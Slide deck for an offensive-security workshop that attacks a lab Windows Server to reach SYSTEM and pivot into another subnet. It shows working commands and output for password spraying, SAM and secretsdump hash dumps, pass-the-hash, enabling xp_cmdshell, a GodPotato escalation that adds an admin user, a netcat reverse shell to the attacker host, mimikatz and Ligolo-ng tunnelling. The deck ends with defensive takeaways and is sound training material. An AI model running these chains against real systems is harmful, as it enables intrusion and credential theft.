Workshop

From enumeration to SYSTEM

Cristian Souza
DFIR Specialist at Kaspersky
PhD Candidate at University of São Paulo

https://cristian.sh

Agenda

- Introduction
- Methodology overview
- Enumeration
- Initial access
- SQL Server
- Privilege escalation
- Pivoting
- Conclusion and next steps

Introduction

Introduction

- In this workshop, we are going to exploit a vulnerable Windows Server machine using common SMB and Windows password attacks.
- From anonymous foothold on the network to SYSTEM.
- We will then pivot into a segment we were never supposed to reach.
- The purpose is to use common scanning tools and password-based attacks.

Introduction

Our lab:

Kali
192.168.0.5

Windows Server
192.168.0.10,
10.10.10.10

Metasploitable
10.10.10.50

Methodology overview

Methodology overview

- Attacks are not a bag of tricks, they are a chain.
- Enumerate, enumerate, enumerate.
- Then gain access, escalate, loot, pivot.
- Each stage feeds the next:
  - What we learn from enumeration builds the wordlist for access
  - The loot from access unlocks escalation
  - Keep this map in mind

Methodology overview

- Some tools we will be using:
  - ⭐ BloodHound
  - ⭐ evil-winrm
  - hydra
  - ⭐ impacket-*
  - ⭐ mimikatz
  - ⭐ nc
  - ⭐ netexec
  - nbtscan
  - ⭐ nmap
  - smbclient & rpcclient
  - snmp-check & snmpwalk

Enumeration

Enumeration

- **nbtscan** - NetBIOS enumeration.

```
 $ nbtscan 192.168.0.0/24
Doing NBT name scan for addresses from 192.168.0.0/24

IP address       NetBIOS Name     Server    User
--------------------------------------------------
192.168.0.10     WIN-LAVBB5E57CA  <server>  <unknown>
192.168.0.1      BSN1200          <server>  BSN1200
```

Enumeration

- **snmpwalk** - before using a single password, the network will tell us who lives there.

```
 $ snmpwalk -v2c -c public 192.168.0.10
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.311.1.1.3.1.2
iso.3.6.1.2.1.1.3.0 = Timeticks: (539123) 1:29:51.23
iso.3.6.1.2.1.1.4.0 = ""
iso.3.6.1.2.1.1.5.0 = STRING: "WIN-LAVBB5E57CA"
iso.3.6.1.2.1.1.6.0 = ""
iso.3.6.1.2.1.1.7.0 = INTEGER: 76
iso.3.6.1.2.1.2.1.0 = INTEGER: 13
iso.3.6.1.2.1.2.2.1.1.1 = INTEGER: 1
iso.3.6.1.2.1.2.2.1.1.2 = INTEGER: 2
...
```

Enumeration

- **snmp-check** - before using a single password, the network will tell us who lives there.

```
 $ snmp-check 192.168.0.10
...
[*] System information:
  Host IP address               : 192.168.0.10
  Hostname                      : WIN-LAVBB5E57CA
...
[*] User accounts:
  bob
  Guest
  alice
  svc_sql
  svc_admin
  Administrator
  DefaultAccount
  WDAGUtilityAccount
```

Enumeration

- **nmap** - let's get open ports (fast).

```
$ nmap -p1-65535 192.168.0.10 -v -T5 --min-rate 1500 --max-rtt-timeout 500ms
--max-retries 3 --open -oN nmap_output.txt
...
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
1433/tcp  open  ms-sql-s
5357/tcp  open  wsdapi
5985/tcp  open  wsman
47001/tcp open  winrm
49664/tcp open  unknown
...
```

Enumeration

- **netexec** - used to automate the assessment of large networks.

```
$ netexec smb 192.168.0.10

SMB         192.168.0.10    445    WIN-LAVBB5E57CA  [*] Windows 10 / Server 2019
Build 17763 x64 (name:WIN-LAVBB5E57CA) (domain:WIN-LAVBB5E57CA) (signing:False)
(SMBv1:None)
```

Enumeration

- **netexec** - SMB enumeration.

```
$ netexec smb 192.168.0.10 -u users.txt -p passwords.txt --continue-on-success
SMB         192.168.0.10    445    WIN-LAVBB5E57CA  [*] Windows 10 / Server 2019 Build 17763 x64 (name:WIN-LAVBB5E57CA)
(domain:WIN-LAVBB5E57CA) (signing:False) (SMBv1:None)
SMB         192.168.0.10    445    WIN-LAVBB5E57CA  [+] WIN-LAVBB5E57CA\alice:Password1
SMB         192.168.0.10    445    WIN-LAVBB5E57CA  [-] WIN-LAVBB5E57CA\svc_sql:910111213 STATUS_LOGON_FAILURE
SMB         192.168.0.10    445    WIN-LAVBB5E57CA  [+] WIN-LAVBB5E57CA\bob:Summer2024
SMB         192.168.0.10    445    WIN-LAVBB5E57CA  [-] WIN-LAVBB5E57CA\appuser:Admin123! STATUS_LOGON_FAILURE
SMB         192.168.0.10    445    WIN-LAVBB5E57CA  [+] WIN-LAVBB5E57CA\svc_admin:Admin123! (Pwn3d!)
SMB         192.168.0.10    445    WIN-LAVBB5E57CA  [-] WIN-LAVBB5E57CA\svc_sql:Admin123! STATUS_LOGON_FAILURE
SMB         192.168.0.10    445    WIN-LAVBB5E57CA  [-] WIN-LAVBB5E57CA\sql_svc:Admin@123 STATUS_LOGON_FAILURE
SMB         192.168.0.10    445    WIN-LAVBB5E57CA  [-] WIN-LAVBB5E57CA\appuser:SqlS3rvice! STATUS_LOGON_FAILURE
SMB         192.168.0.10    445    WIN-LAVBB5E57CA  [+] WIN-LAVBB5E57CA\svc_sql:SqlS3rvice!
```

Enumeration

- **netexec** - WMI enumeration.

```
$ netexec wmi 192.168.0.10 -u users.txt -p passwords.txt --continue-on-success
RPC         192.168.0.10    135    WIN-LAVBB5E57CA  [*] Windows 10 / Server 2019 Build 17763 (name:WIN-LAVBB5E57CA)
(domain:WIN-LAVBB5E57CA)
RPC         192.168.0.10    135    WIN-LAVBB5E57CA  [+] WIN-LAVBB5E57CA\alice:Password1
RPC         192.168.0.10    135    WIN-LAVBB5E57CA  [-] WIN-LAVBB5E57CA\svc_sql:910111213 (RPC_S_ACCESS_DENIED)
RPC         192.168.0.10    135    WIN-LAVBB5E57CA  [+] WIN-LAVBB5E57CA\bob:Summer2024
RPC         192.168.0.10    135    WIN-LAVBB5E57CA  [-] WIN-LAVBB5E57CA\appuser:Admin123! (RPC_S_ACCESS_DENIED)
WMI         192.168.0.10    135    WIN-LAVBB5E57CA  [+] WIN-LAVBB5E57CA\svc_admin:Admin123! (Pwn3d!)
WMI         192.168.0.10    135    WIN-LAVBB5E57CA  [-] WIN-LAVBB5E57CA\appuser:SqlS3rvice! (RPC_S_ACCESS_DENIED)
WMI         192.168.0.10    135    WIN-LAVBB5E57CA  [+] WIN-LAVBB5E57CA\svc_sql:SqlS3rvice! (Pwn3d!)
```

Enumeration

- **netexec** - MSSQL enumeration.

```
 $ netexec mssql 192.168.0.10 -u users.txt -p passwords.txt --local-auth
--continue-on-success
MSSQL       192.168.0.10    1433   WIN-LAVBB5E57CA  [*] Windows 10 / Server 2019 Build 17763
(name:WIN-LAVBB5E57CA) (domain:WIN-LAVBB5E57CA) (EncryptionReq:False)
MSSQL       192.168.0.10    1433   WIN-LAVBB5E57CA  [+] WIN-LAVBB5E57CA\appuser:appuser (Pwn3d!)
```

Enumeration

- **netexec** - WinRM enumeration.

```
$ netexec winrm 192.168.0.10 -u users.txt -p passwords.txt --continue-on-success
WINRM       192.168.0.10    5985   WIN-LAVBB5E57CA  [*] Windows 10 / Server 2019 Build 17763
(name:WIN-LAVBB5E57CA) (domain:WIN-LAVBB5E57CA)
WINRM       192.168.0.10    5985   WIN-LAVBB5E57CA  [-] WIN-LAVBB5E57CA\alice:Summer2024
WINRM       192.168.0.10    5985   WIN-LAVBB5E57CA  [+] WIN-LAVBB5E57CA\bob:Summer2024 (Pwn3d!)
WINRM       192.168.0.10    5985   WIN-LAVBB5E57CA  [-] WIN-LAVBB5E57CA\sql_svc:Admin123!
WINRM       192.168.0.10    5985   WIN-LAVBB5E57CA  [-] WIN-LAVBB5E57CA\appuser:Admin123!
WINRM       192.168.0.10    5985   WIN-LAVBB5E57CA  [+] WIN-LAVBB5E57CA\svc_admin:Admin123! (Pwn3d!)
WINRM       192.168.0.10    5985   WIN-LAVBB5E57CA  [-] WIN-LAVBB5E57CA\svc_sql:Admin123!
```

Enumeration

- **nxcspray** - spray known credentials against multiple services with netexec.
  - https://github.com/NTHSec/nxcspray

```
$ sudo mv ~/Downloads/nxcspray /usr/local/bin

$ chmod +x /usr/local/bin/nxcspray

$ nxcspray smb,winrm targets.txt -u target.user -p 'Password1'
```

Enumeration

- **Credentials summary:**

  alice:Password1

  bob:Summer2024 → **WinRM Pwn3d!**

  svc_admin:Admin123! → **SMB, WMI, and WinRM Pwn3d!**

  svc_sql:SqlS3rvice! → **SMB and WMI Pwn3d!**

  appuser:appuser → **MSSQL Pwn3d!**

Enumeration

- **netexec** - shares enumeration.

```
$ netexec smb 192.168.0.10 -u alice -p Password1 --shares
SMB         192.168.0.10    445    WIN-LAVBB5E57CA  [*] Windows 10 / Server 2019 Build 17763 x64
(name:WIN-LAVBB5E57CA) (domain:WIN-LAVBB5E57CA) (signing:False) (SMBv1:None)
SMB         192.168.0.10    445    WIN-LAVBB5E57CA  [+] WIN-LAVBB5E57CA\alice:Password1
SMB         192.168.0.10    445    WIN-LAVBB5E57CA  [*] Enumerated shares
SMB         192.168.0.10    445    WIN-LAVBB5E57CA  Share           Permissions     Remark
SMB         192.168.0.10    445    WIN-LAVBB5E57CA  -----           -----------     ------
SMB         192.168.0.10    445    WIN-LAVBB5E57CA  ADMIN$                          Remote Admin
SMB         192.168.0.10    445    WIN-LAVBB5E57CA  C$                             Default share
SMB         192.168.0.10    445    WIN-LAVBB5E57CA  IPC$            READ            Remote IPC
SMB         192.168.0.10    445    WIN-LAVBB5E57CA  SecretFiles     READ,WRITE
```

Enumeration

- **smbmap** - SMB enumeration tool.

```
 $ smbmap -H 192.168.0.10 -u alice -p Password1
...

[+] IP: 192.168.0.10:445        Name: 192.168.0.10              Status: Authenticated
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        IPC$                                                    READ ONLY       Remote IPC
        SecretFiles                                             READ, WRITE
[-] Closing connections..                                                                   [*]
Closed 1 connections
```

Enumeration

- **smbclient** - client that can talk to an SMB/CIFS server.

```
 $ smbclient //192.168.0.10/SecretFiles -U alice%Password1
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Sat Aug  1 21:41:33 2026
  ..                                  D        0  Sat Aug  1 21:41:33 2026
  README.txt                          A       13  Sat Aug  1 18:10:31 2026

                20813823 blocks of size 4096. 16854560 blocks available
smb: \> get README.txt
getting file \README.txt of size 13 as README.txt (4.2 KiloBytes/sec) (average 4.2 KiloBytes/sec)
smb: \> exit

 $ cat README.txt
You found me!
```

Enumeration

- **netexec spider_plus** - automatically download files.

```
 $ netexec smb 192.168.0.10 -u alice -p Password1 -M spider_plus -o DOWNLOAD_FLAG=True
SMB         192.168.0.10    445    WIN-LAVBB5E57CA  [*] Windows 10 / Server 2019 Build 17763 x64
(name:WIN-LAVBB5E57CA) (domain:WIN-LAVBB5E57CA) (signing:False) (SMBv1:None)
SMB         192.168.0.10    445    WIN-LAVBB5E57CA  [+] WIN-LAVBB5E57CA\alice:Password1
SPIDER_PLUS 192.168.0.10    445    WIN-LAVBB5E57CA  [*] Started module spidering_plus with the
following options:
SPIDER_PLUS 192.168.0.10    445    WIN-LAVBB5E57CA  [*]  DOWNLOAD_FLAG: True
SPIDER_PLUS 192.168.0.10    445    WIN-LAVBB5E57CA  [*]     STATS_FLAG: True
SPIDER_PLUS 192.168.0.10    445    WIN-LAVBB5E57CA  [*] EXCLUDE_FILTER: ['print$', 'ipc$']
SPIDER_PLUS 192.168.0.10    445    WIN-LAVBB5E57CA  [*]   EXCLUDE_EXTS: ['ico', 'lnk']
SPIDER_PLUS 192.168.0.10    445    WIN-LAVBB5E57CA  [*]  MAX_FILE_SIZE: 50 KB
...
SPIDER_PLUS 192.168.0.10    445    WIN-LAVBB5E57CA  [+] All files processed successfully.
```

Enumeration

- **rpcclient** - tool for executing client side MS-RPC functions.

```
$ rpcclient -U bob 192.168.0.10

rpcclient $> enumdomusers
```

Enumeration

- **netexec** - SAM dump.

```
$ netexec smb 192.168.0.10 -u svc_admin -p 'Admin123!' --sam
...
SMB         192.168.0.10    445    WIN-LAVBB5E57CA  [*] Dumping SAM hashes
SMB         192.168.0.10    445    WIN-LAVBB5E57CA
Administrator:500:aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab:::
SMB         192.168.0.10    445    WIN-LAVBB5E57CA
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         192.168.0.10    445    WIN-LAVBB5E57CA
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         192.168.0.10    445    WIN-LAVBB5E57CA
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:65f006b808de61694f40ba4627b78d44:::
SMB         192.168.0.10    445    WIN-LAVBB5E57CA
alice:1000:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::
SMB         192.168.0.10    445    WIN-LAVBB5E57CA
bob:1001:aad3b435b51404eeaad3b435b51404ee:349c161a3eb493c6347292a58528f923:::
SMB         192.168.0.10    445    WIN-LAVBB5E57CA
svc_admin:1002:aad3b435b51404eeaad3b435b51404ee:520126a03f5d5a8d836f1c4f34ede7ce:::
SMB         192.168.0.10    445    WIN-LAVBB5E57CA
svc_sql:1004:aad3b435b51404eeaad3b435b51404ee:8db55fb0bb7cb0322f4ac48e3932094d:::
SMB         192.168.0.10    445    WIN-LAVBB5E57CA  [+] Added 8 SAM hashes to the database
```

Enumeration

- **impacket-secretsdump** - extracts password hashes, LSA secrets, and NTDS.dit.

```
$ impacket-secretsdump svc_admin:'Admin123!'@192.168.0.10
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xbec6492a7f10cad64f7a5091b8159bac
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:65f006b808de61694f40ba4627b78d44:::
alice:1000:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::
bob:1001:aad3b435b51404eeaad3b435b51404ee:349c161a3eb493c6347292a58528f923:::
svc_admin:1002:aad3b435b51404eeaad3b435b51404ee:520126a03f5d5a8d836f1c4f34ede7ce:::
svc_sql:1004:aad3b435b51404eeaad3b435b51404ee:8db55fb0bb7cb0322f4ac48e3932094d:::
```

Initial access

Initial access

- **evil-winrm** - command execution on remote Windows machines.

```
$ evil-winrm -i 192.168.0.10 -u bob -p Summer2024

*Evil-WinRM* PS C:\Users\bob\Documents>whoami /all

*Evil-WinRM* PS C:\Users\bob\Documents>upload mimikatz.exe
```

Initial access

- **evil-winrm** - Pass-the-Hash (PtH).

```
$ evil-winrm -i 192.168.0.10 -u bob -H 349c161a3eb493c6347292a58528f923

*Evil-WinRM* PS C:\Users\bob\Documents>whoami /all

*Evil-WinRM* PS C:\Users\bob\Documents>upload mimikatz.exe
```

Initial access

- **impacket-psexec** - mimics Sysinternals PsExec.

```
$ impacket-psexec svc_admin:'Admin123!'@192.168.0.10
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Requesting shares on 192.168.0.10.....
[*] Found writable share ADMIN$
[*] Uploading file sVTeouOV.exe
[*] Opening SVCManager on 192.168.0.10.....
[*] Creating service jToB on 192.168.0.10.....
[*] Starting service jToB.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.3650]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>
```

Initial access

- **impacket-psexec** - Pass-the-Hash (PtH).

```
$ impacket-psexec svc_admin@192.168.0.10 -hashes :520126a03f5d5a8d836f1c4f34ede7ce
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Requesting shares on 192.168.0.10.....
[*] Found writable share ADMIN$
[*] Uploading file KqZfsROZ.exe
[*] Opening SVCManager on 192.168.0.10.....
[*] Creating service hTGr on 192.168.0.10.....
[*] Starting service hTGr.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.3650]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>
```

Initial access

- **impacket-smbexec** - creates a semi-interactive shell process.

```
 $ impacket-smbexec svc_admin:'Admin123!'@192.168.0.10
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>
```

SQL Server

SQL Server

- **impacket-mssqlclient** - used to communicate with MSSQL via TDS.

```
 $ impacket-mssqlclient appuser:appuser@192.168.0.10
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Encryption required, switching to TLS
...
SQL (appuser  dbo@master)> EXEC sp_configure 'show advanced options', 1;
SQL (appuser  dbo@master)> RECONFIGURE;
SQL (appuser  dbo@master)> EXEC sp_configure 'xp_cmdshell', 1;
SQL (appuser  dbo@master)> RECONFIGURE;
SQL (appuser  dbo@master)> EXEC xp_cmdshell 'whoami /all';
```

Privilege escalation

Privilege escalation

- **GodPotato** - reliable privilege escalation (if you have the right permissions).

```
SQL (appuser  dbo@master)> upload GodPotato.exe C:\Windows\Tasks\GodPotato.exe

SQL (appuser  dbo@master)> xp_cmdshell C:\Windows\Tasks\GodPotato.exe -cmd "net user cris pass@123 /add"

SQL (appuser  dbo@master)> xp_cmdshell C:\Windows\Tasks\GodPotato.exe -cmd "net localgroup Administrators cris /add"
```

Privilege escalation

- **GodPotato + nc** - getting a privileged reverse shell.

```
SQL (appuser  dbo@master)> upload nc.exe C:\Windows\Tasks\nc.exe

SQL (appuser  dbo@master)> xp_cmdshell C:\Windows\Tasks\GodPotato.exe -cmd
"C:\Windows\Tasks\nc.exe 192.168.0.5 9090 -e cmd.exe"


$ nc -lvnp 9090
listening on [any] 9090 ...
connect to [192.168.0.5] from (UNKNOWN) [192.168.0.10] 49836
Microsoft Windows [Version 10.0.17763.3650]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system
```

Privilege escalation

- **Enabling RDP:**

```
> reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v
fDenyTSConnections /t REG_DWORD /d 0x00000000 /f
```

```
$ xfreerdp /v:192.168.0.10 /u:cris /p:'pass@123'
```

Privilege escalation

- **Mimikatz** - credential dumping tool.

```
C:\Users\cris\Desktop> mimikatz.exe

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::logonpasswords
...

mimikatz # sekurlsa::tickets /export
...

mimikatz # token::elevate
...

mimikatz # lsadump::sam
...
```

Privilege escalation

- **Automated enumeration:**
  - winPEAS: https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS
  - Seatbelt: https://github.com/GhostPack/Seatbelt

Pivoting

Pivoting

- **Ligolo-ng** - Tunneling like a VPN.
  - https://github.com/nicocha30/ligolo-ng

```
$ ./proxy -selfcert
INFO[0000] Loading configuration file ligolo-ng.yaml
WARN[0000] Using default selfcert domain 'ligolo', beware of CTI, SOC and IoC!
ERRO[0000] Certificate cache error: acme/autocert: certificate cache miss, returning a new
certificate
INFO[0000] Listening on 0.0.0.0:11601

    __    _             __
   / /   (_)___ _____  / /___        ____  ____ _
  / /   / / __ `/ __ \/ / __ \______/ __ \/ __ `/
 / /___/ / /_/ / /_/ / / /_/ /_____/ / / / /_/ /
/_____/_/\__, /\____/_/\____/     /_/ /_/\__, /
        /____/                            /____/

  Made in France ♥            by @Nicocha30!
  Version: 0.9

ligolo-ng »
```

Pivoting

- Ligolo-ng configuration (**TARGET**).

```
C:\Users\cris\Desktop> agent.exe -ignore-cert -connect 192.168.0.5:11601
time="2026-08-02T09:28:38-07:00" level=warning msg="warning, certificate validation disabled"
time="2026-08-02T09:28:38-07:00" level=info msg="Connection established" addr="192.168.0.5:11601"
```

Pivoting

- Ligolo-ng configuration (**KALI**).

```
ligolo-ng » session
? Specify a session : 1 - WIN-LAVBB5E57CA\cris@WIN-LAVBB5E57CA - 192.168.0.10:49861 -
000c29cb4c92

[Agent : WIN-LAVBB5E57CA\cris@WIN-LAVBB5E57CA] » ifcreate --name ligolo1
INFO[0055] Creating a new ligolo1 interface...
INFO[0055] Interface created!

[Agent : WIN-LAVBB5E57CA\cris@WIN-LAVBB5E57CA] » tunnel_start --tun ligolo1
INFO[0065] Starting tunnel to WIN-LAVBB5E57CA\cris@WIN-LAVBB5E57CA (000c29cb4c92)

[Agent : WIN-LAVBB5E57CA\cris@WIN-LAVBB5E57CA] » add_route --name ligolo1 --route 10.10.10.0/24
INFO[0104] Route created.

[Agent : WIN-LAVBB5E57CA\cris@WIN-LAVBB5E57CA] » listener_add --addr 0.0.0.0:30000 --to
127.0.0.1:10000 --tcp
```

Pivoting

```
$ nmap -sS 10.10.10.50
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-02 14:07 -0300
Nmap scan report for 10.10.10.50
Host is up (0.0075s latency).
Not shown: 977 filtered tcp ports (no-response)
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
23/tcp   open  telnet
25/tcp   open  smtp
53/tcp   open  domain
80/tcp   open  http
111/tcp  open  rpcbind
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
512/tcp  open  exec
513/tcp  open  login
514/tcp  open  shell
1099/tcp open  rmiregistry
1524/tcp open  ingreslock
...
```

Conclusion and next steps

Conclusion and next steps

- No zero-days, no exploits. Just weak passwords and default misconfigurations.

- **Defensive takeaways:**
  - Enforce strong password policy and account lockout thresholds.
  - Disable or restrict SNMP.
  - Restrict WinRM and SMB access.
  - Monitor for anomalous service creation and failed-logon floods.
  - Least privilege for service accounts.

Conclusion and next steps

- **Tools to explore:**
  - BloodHound - AD attack-path mapping.
  - Rubeus - Kerberoasting, AS-REP roasting, ticket abuse.
  - Certipy - AD CS (ADCS) certificate attacks.
  - Responder - LLMNR/NBT-NS poisoning.
  - PowerSploit - AD enumeration.
  - Impacket - GetUserSPNs, secretsdump (DCSync), ntlmrelayx.

Workshop

From enumeration to SYSTEM

Cristian Souza
DFIR Specialist at Kaspersky
PhD Candidate at University of São Paulo

https://cristian.sh